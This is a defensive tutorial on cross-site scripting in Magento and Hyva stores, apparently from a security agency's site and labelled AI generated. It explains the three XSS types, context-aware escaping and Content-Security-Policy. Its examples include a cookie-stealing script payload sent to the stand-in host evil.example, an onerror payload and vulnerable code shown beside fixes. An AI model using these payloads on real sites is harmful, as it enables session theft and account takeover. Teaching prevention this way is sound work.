Cross-Site Scripting (XSS): Types, Causes, Protection
AI generated
OWASP
0x00
Security · Cross-Site Scripting · OWASP Top 10 · Magento 2
Cross-Site Scripting (XSS): Types, Causes, Protection
Preventing reflected, stored, and DOM-based XSS

Cross-Site Scripting has been one of the most common vulnerabilities in web applications for years, letting attackers run their own JavaScript in another user's browser. This article explains the three XSS types, reflected, stored, and DOM-based, shows how unescaped output turns into executable code, and delivers concrete protection through context-aware encoding, Content-Security-Policy, and the escaping helpers built into Magento and Hyva.

16 min. read Reflected · Stored · DOM-based XSS CSP · Output Encoding · Magento/Hyva

1. What Cross-Site Scripting actually means

Cross-Site Scripting (XSS) is a class of vulnerability where a web application delivers untrusted input as part of a page without proper handling, causing a victim's browser to execute foreign JavaScript within the security context of the otherwise trusted site. XSS has consistently ranked among the OWASP Top 10 injection categories for years and affects practically any application that echoes user input somewhere: search fields, product reviews, comment features, profile names, or URL parameters. The consequences range from session theft and captured form data to full takeover of a customer account.

The crucial difference from server-side injection attacks like SQL injection: the malicious code doesn't run on the server, it runs in the victim's browser, with the same privileges as legitimate code on that page. That means an XSS payload can access cookies, send authenticated requests on the victim's behalf, capture form input, or manipulate the entire page for phishing purposes. The Same-Origin Policy offers no protection here, because the attacker's code technically runs as part of the trusted site, not as an external source.

2. The three XSS types: reflected, stored, and DOM-based

Reflected XSS occurs when input from the current request, such as a query parameter or form field, appears unchanged in the server response. The attack isn't persistent: the attacker has to get the victim to open a crafted link, usually via phishing emails or manipulated ad banners. A classic example: an error page that inserts the search term from the URL unchanged into the message "No results found for ...".

Stored XSS is the more dangerous variant, because the malicious code ends up permanently in the database, for example in a product review, a CMS block, or a customer comment, and is then served to every visitor of the affected page. A single successful attack can therefore reach thousands of users without each one having to click a manipulated link. That's exactly why user-generated content in Magento stores, such as product reviews or guestbook modules, is a favorite target.

DOM-based XSS is fundamentally different: the vulnerability lives entirely in client-side JavaScript. The source and sink of the attack, for example location.hash as the source and innerHTML as the sink, both live in the DOM. The server often never sees the malicious payload at all, since it may only ever appear in the URL fragment after the hash character. That makes DOM-based XSS invisible to server-side logs, web application firewalls, and classic input validation.

3. How unescaped output becomes executable code

Browsers parse HTML incrementally and strictly distinguish between markup structure and text content. When a raw, unencoded user input ends up in a position that gets interpreted as HTML, the browser can no longer tell that this string was actually meant to be plain data. If the input contains characters like <, >, or ", they turn into new HTML elements, attributes, or event handlers that the browser executes exactly the same way as markup written by a developer.

A classic search field makes the mechanics tangible: if the search term is written directly into the HTML response without encoding, a payload like <script>document.location='https://evil.example/steal?c='+document.cookie</script> is enough to execute code in the victim's browser that sends the session cookie to a foreign server. The only reliable countermeasure is to consistently encode every dynamic output for its specific output context, instead of relying on input validation or blacklists of individual strings, which can almost always be bypassed.


<?php
// VULNERABLE: raw user input echoed directly into HTML response
$searchTerm = $_GET['q'];
echo "<p>No results found for {$searchTerm}.</p>";
// Payload: ?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script>
// Result: attacker script runs in the victim's browser with the site's origin

// FIXED: context-aware HTML encoding before output
$searchTerm = $_GET['q'] ?? '';
$safeSearchTerm = htmlspecialchars($searchTerm, ENT_QUOTES | ENT_HTML5, 'UTF-8');
echo "<p>No results found for {$safeSearchTerm}.</p>";
// "<script>" becomes "&lt;script&gt;": rendered as inert text, not executable markup

4. Context-aware output encoding: HTML, attribute, JS, URL

One of the most common causes of incomplete XSS protection is the assumption that a single encoding function is enough for every output location. In reality, every output context needs its own encoding, because each context interprets different characters as control characters. HTML body text needs entity encoding for <, >, and &. HTML attribute values additionally need quote encoding, because otherwise an attacker can break out of the attribute with a quote character and inject a new attribute like onmouseover, even if angle brackets are already encoded.

Inside inline JavaScript, HTML encoding alone isn't enough, because the browser already parses the string as JavaScript before HTML entities are even resolved; what's needed here is JavaScript string escaping, or better, structured JSON encoding. In URL contexts, such as inside an href attribute, it's also necessary to prevent an attacker from injecting code via a javascript: pseudo-protocol. The basic rule: always choose the encoding function that matches the position in the document, not the data source.


<!-- HTML body context: entity-encode < > & -->
<p>Welcome, {{escapeHtml(username)}}</p>
<!-- "<b>Max</b>" becomes literal text, not a bold tag -->

<!-- HTML attribute context: quote-encoding is mandatory, even inside quotes -->
<input type="text" value="{{escapeHtmlAttr(userInput)}}">
<!-- Without it: value="x" onmouseover="stealCookies()" breaks out of the attribute -->

<!-- Inline JavaScript context: HTML-encoding alone is not enough -->
<script>
  var greeting = "{{escapeJs(username)}}";
  // Without JS-escaping: username = ";alert(document.cookie);"  closes the string and injects code
</script>

<!-- URL context: encode the value and reject dangerous schemes -->
<a href="/search?q={{escapeUrl(searchTerm)}}">Repeat search</a>
<!-- Never allow "javascript:" or "data:" as a user-controlled href scheme -->

5. DOM-based XSS: innerHTML, eval, and Alpine.js pitfalls

DOM-based XSS occurs when client-side JavaScript reads data from an untrusted source and passes it, unfiltered, to a dangerous sink. Typical sources are location.hash, location.search, document.referrer, window.name, and messages from postMessage. Dangerous sinks are innerHTML, outerHTML, document.write, eval, setTimeout with a string argument, and insertAdjacentHTML. Once unencoded user content lands in one of these sinks, the browser parses it as HTML or JavaScript, regardless of what the server actually delivered.

In Alpine.js-based Hyva templates, the same rule applies to the x-html directive: it renders the bound value as raw HTML, which makes it structurally risky the moment the value even partially originates from user input, URL parameters, or an external API. For plain text, x-text is the safe alternative, because Alpine sets the value via textContent, and the browser never interprets it as markup. x-html should only be used for content that's hardcoded or already safely sanitized server-side.


// VULNERABLE: DOM-based XSS via URL fragment and innerHTML sink
const params = new URLSearchParams(location.hash.slice(1));
document.getElementById('greeting').innerHTML = 'Hello ' + params.get('name');
// URL: https://shop.example/#name=<img src=x onerror=alert(document.cookie)>
// The payload never touches the server, yet executes in the victim's browser

// FIXED: use textContent, the browser never parses it as markup
const safeName = params.get('name') ?? '';
document.getElementById('greeting').textContent = 'Hello ' + safeName;

// Alpine.js / Hyva: prefer x-text over x-html for anything user-controlled
// VULNERABLE:  <div x-html="product.description"></div>
// SAFER:       <div x-text="product.description"></div>
// x-html is only acceptable for content that is already sanitized server-side

6. Content-Security-Policy as defense in depth

A Content-Security-Policy (CSP) is a browser-enforced allowlist that defines which sources scripts, stylesheets, images, and other resources may be loaded from. A strict policy with script-src 'self' and no 'unsafe-inline' blocks inline scripts, and with them most classic XSS payloads, even if an encoding gap was overlooked in the code. CSP is therefore not a replacement for output encoding, but a second, independent line of defense that limits the damage from a missed vulnerability.

Since version 2.3.5, Magento 2 has shipped its own CSP module (Magento_Csp), through which modules declaratively register their required script, style, and frame sources in csp_whitelist.xml instead of loosening the policy across the board. Nonce-based inline scripts, as registered by Hyva via $hyvaCsp->registerInlineScript(), remain permitted, since every script tag gets a server-generated nonce attribute that's unique per request and cannot be guessed by an attacker. Report-only mode (Content-Security-Policy-Report-Only) lets you log violations of a new policy before it starts actively blocking requests.


<!-- app/code/Vendor/Module/etc/csp_whitelist.xml -->
<!-- Declare required script sources instead of weakening the global CSP policy -->
<csp_whitelist xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Csp:etc/csp_whitelist.xsd">
    <policies>
        <policy id="script-src">
            <values>
                <value id="analytics" type="host">https://analytics.example.com</value>
            </values>
        </policy>
        <policy id="object-src">
            <none>true</none>
        </policy>
    </policies>
</csp_whitelist>

<!-- Resulting response header (managed by Magento_Csp), nonce generated per request -->
<!-- Content-Security-Policy: script-src 'self' 'nonce-Rand0mPerRequest'; object-src 'none'; base-uri 'self' -->

7. Magento & Hyva: using escapeHtml, escapeJs, escapeUrl correctly

Magento\Framework\Escaper provides context-specific methods that map exactly to the four encoding contexts from section 4: escapeHtml() for HTML body text, escapeHtmlAttr() for attribute values, escapeJs() for inline JavaScript, and escapeUrl() for URL values. In Hyva templates the escaper is available by default as $escaper. The most common mistake in practice: developers use escapeHtml() for every value regardless of the target context, including inside a <script> block, where escapeJs() or a JSON encoding would actually be needed.

A second common mistake is skipping the escaper entirely for supposedly trustworthy sources like CMS blocks or admin-managed content, even though admin accounts can be compromised too. Where limited HTML formatting is explicitly desired, for example bold or italic text in a product description, escapeHtml($value, ['b', 'i', 'em', 'strong']) allows a targeted allowlist of specific tags instead of letting completely unchecked HTML through. After every inline <script> block, $hyvaCsp->registerInlineScript() must also be called so the script receives a valid nonce under the CSP policy.


<?php
/** @var \Magento\Framework\Escaper $escaper */
/** @var \Vendor\Module\ViewModel\Review $viewModel */
?>

<!-- VULNERABLE: raw output of a customer-supplied review title -->
<h3><?= $block->getReviewTitle() ?></h3>

<!-- FIXED: HTML-body context, entity-encoded -->
<h3><?= $escaper->escapeHtml($viewModel->getReviewTitle()) ?></h3>

<!-- Attribute context: escapeHtmlAttr, not escapeHtml -->
<div data-review-id="<?= $escaper->escapeHtmlAttr($viewModel->getReviewId()) ?>">

<!-- Allowlist a few safe formatting tags for rich CMS content -->
<p><?= $escaper->escapeHtml($viewModel->getReviewBody(), ['b', 'i', 'em', 'strong']) ?></p>

<!-- Inline script: escapeJs for the value, registerInlineScript for the CSP nonce -->
<script>
    var reviewId = "<?= $escaper->escapeJs($viewModel->getReviewId()) ?>";
</script>
<?php $hyvaCsp->registerInlineScript() ?>

8. Detecting XSS: testing, code review, and tools

Manual code review remains the most effective first line of defense: specifically searching for patterns like direct output of $_GET, $_POST, or getData() return values without a call to the escaper, innerHTML assignments with dynamic content, and x-html bindings in Alpine templates catches most vulnerabilities before code ever reaches production. Static analysis tools such as Psalm with taint analysis enabled, or ESLint with the eslint-plugin-no-unsanitized plugin, automate exactly this search and can be wired directly into the CI pipeline, so a pull request with unescaped output can't be merged in the first place.

Dynamic testing of your own application belongs in the standard toolkit as well: every input field and query parameter that shows up anywhere in the response gets tested with harmless test payloads like <script>alert(document.domain)</script> to see whether, and in what context, the value ends up unencoded. Tools like OWASP ZAP or Burp Suite automate this scan across an entire application. Important: these active scans and payload tests belong exclusively on your own systems, or systems for which you have explicit authorization to run a penetration test.

9. Encoding functions compared side by side

The table below summarizes which encoding function is correct for which output context, and why the corresponding unsafe pattern opens a gap. Use it as a quick reference during code review and when building new templates.

Context Unsafe pattern Safe encoding Why
HTML body text echo $var escapeHtml() Prevents injection of new HTML tags
HTML attribute value="<?= $var ?>" escapeHtmlAttr() Prevents breaking out of the attribute
Inline JavaScript var x = "<?= $var ?>" escapeJs() Prevents string escape inside the script
URL parameter href="?q=<?= $var ?>" escapeUrl() Prevents scheme and query injection
DOM manipulation (JS) el.innerHTML = data el.textContent = data Browser never parses the value as markup

What stands out is that almost every unsafe pattern in the table is structurally identical: an untrusted string is embedded directly into executable markup or code without regard to its target context. Remembering that every output location requires a deliberate choice of the matching encoding function, instead of relying on a single global sanitization pass, eliminates the vast majority of XSS vulnerabilities in your own applications.

Mironsoft

Security audits, code reviews, and CSP hardening for Magento and Hyva stores

Ready to close the XSS gaps in your store?

We review your templates, view models, and frontend scripts for reflected, stored, and DOM-based XSS, harden your Content-Security-Policy, and apply context-aware escaping consistently across Magento and Hyva codebases.

XSS code review

Targeted review of every output location and escaping call in the code

CSP rollout

Setting up a nonce-based Content-Security-Policy on top of Magento_Csp

Pentest support

Dynamic testing with ZAP/Burp and remediation of any findings

10. Summary

Cross-Site Scripting isn't solved with a single measure, but with several coordinated layers of protection. Reflected, stored, and DOM-based XSS differ in persistence and attack path, but follow the same underlying pattern: untrusted data ends up unencoded in a location where the browser interprets it as executable markup. Context-aware encoding with the right function for HTML body, attributes, inline JavaScript, and URLs closes the gap at the source, in Magento and Hyva through escapeHtml(), escapeHtmlAttr(), escapeJs(), and escapeUrl().

A strict Content-Security-Policy with nonces complements encoding as a second, independent line of defense and limits the damage if a vulnerability still slips through. Teams that additionally integrate static analysis into their CI pipeline and regularly probe input fields with test payloads reduce risk systematically, instead of reactively patching individual incidents.

Cross-Site Scripting (XSS): The Essentials at a Glance

Three XSS types

Reflected (non-persistent, request-based), stored (persistent, hits every visitor), and DOM-based (purely client-side, invisible to the server).

Context-aware encoding

HTML body, attribute, JavaScript, and URL each need their own encoding function, never a single global sanitization pass.

CSP as defense in depth

A nonce-based Content-Security-Policy blocks inline scripts and limits the damage of overlooked gaps.

Magento/Hyva escaping

Use escapeHtml(), escapeHtmlAttr(), escapeJs(), escapeUrl() consistently, matched to the output context.

11. FAQ: Cross-Site Scripting (XSS)

1What is Cross-Site Scripting (XSS)?
A vulnerability class where unchecked input is delivered as part of a page and the browser executes foreign code within the trusted site's security context.
2Difference between reflected and stored XSS?
Reflected is mirrored from the request and needs a crafted link. Stored ends up permanently in the database and hits every visitor of the page.
3What is DOM-based XSS?
Source and sink live entirely in client-side JavaScript, such as location.hash and innerHTML. The server often never sees the payload.
4Why isn't htmlspecialchars() enough everywhere?
It encodes correctly for HTML text, but doesn't protect JavaScript or URL contexts. Every context needs its own encoding function.
5What does escapeJs() do in Magento/Hyva?
Safely encodes a value for embedding into a JavaScript string inside an inline script, without allowing the string context to be broken out of.
6Does a CSP fully prevent XSS?
No, it limits damage as a second line of defense. Output encoding at the source remains mandatory regardless.
7Does HttpOnly protect against XSS?
It only prevents cookie access via JavaScript, the underlying vulnerability remains. Authenticated actions are still possible.
8How do I test my application for XSS?
Code review for unescaped output, static taint analysis, and dynamic scans with ZAP/Burp against authorized systems you own.
9Is Hyva automatically more secure against XSS?
Hyva offers good tooling like the escaper and CSP integration, but doesn't replace developer diligence around x-html and escaping.
10Most common XSS mistake in Magento modules?
Direct output without calling the escaper, and using the wrong escaping function for the context, such as escapeHtml() instead of escapeJs() in a script block.